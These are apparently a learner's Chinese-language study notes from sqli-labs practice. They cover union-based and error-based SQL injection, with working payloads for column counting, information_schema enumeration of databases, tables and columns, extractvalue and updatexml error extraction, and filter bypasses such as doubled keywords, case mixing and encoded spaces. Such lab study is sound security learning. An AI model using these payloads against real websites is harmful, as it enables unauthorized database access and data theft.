第一天
URL 统一资源定位符 协议 主机号 目录
–+ 注释符 %20 代表空格
http://192.168.121.149/sqli-labs-master/Less-5/?Id=1’ order by 15 --+ 闭合条件为 ‘
猜测列数
http://192.168.121.149/sqli-labs-master/Less-5/?Id=-1’ union all select 1,2,3 --+ 猜测显示位
Select schema_name from information_schema.schemata ; 查库名
Select table_name from information_schema.tables where schema_name=’security’;知道库名输入该库的所有表名
Select column_name from information_schema.columns where table_name=’users’ and table_schema=’security’;知道库名,表名的情况下查找库下该表的列名
Select username from security.users;
第二天
报错型SQL注入,适合没有数据查询但是有mysql报错输出的场景
当SQL注入报错型SQL注入,适合没有数据查询但是有mysql报错输出的场景
当SQL注入时,报错时,错误语句也会抛出一部份正确的信息。
concat_wa函数
分隔符 0x3a
注入时,先找闭合。
第三天
一 。 注入 ‘ 时 可以判断是整形注入还是字符串注入
在数据库中 1=1 和1=2 后面随便输入字符串(相当于1=1和1=2后面的查询语句),发现select 1="1dasd"时返回1正确,1="2dasd"时返回0错误,即select在查询时忽略后面的字符串,只让1和后面第一个数字对比,如果相等就是正确,不相等返回错误。
二、判断查询列数
order by 函数是对MySQL中查询结果按照指定字段名进行排序,除了指定字 段名还可以指定字段的栏位进行排序,第一个查询字段为1,第二个为2,依次 类推。我们可以通过二分法来猜解列数
输入 order by 4%23 发现页面错误,说明没有4列
输入3列时,页面正常,说明有3列
三 联合查询注入利用的前提
联合注入 必须前面条件是错的,才可以显示后面的结果
前提条件:页面上有显示位
什么是显示位?
在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位
四
列出所有的数据库名
union all select 1,(select group_concat(schema_name) from information_schema.schemata
列出所有的表名
union all select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)
部分函数作用
CONCAT_WS函数作用
select concat_ws(’-’,‘aa’,‘bb’,‘cc’)
aa-bb-cc
Concat 函数作用select concat(‘aa’,‘bb’,‘cc’)
aabbcc
Group_concat 函数作用
将数据全都输出
Extracvalue 函数
Updataxml函数
extractvalue(1,concat(0x5c,database()))
updatexml(1,concat(0x3a,database()),1)
第四天
注入顺序:
先找注入点;
再确定交互方式;
再找闭合;
Cookie 注入
过滤型注入
如果 and 和 or被过滤 可以
复写 aandnd oorr 替换 and 等于&& or 等于 || 大小写混合 And oR
如果空格被过滤 可以
转码 %0a %0b %0c tab键
Like 可以替换=
过滤的判断
单引号被过滤 如 ‘security’
用hex编码 将数据编码
若为get型 在url中输入 id=and1 如果输出结果和id=1 并没有区别,可以判断服务器过滤了and字符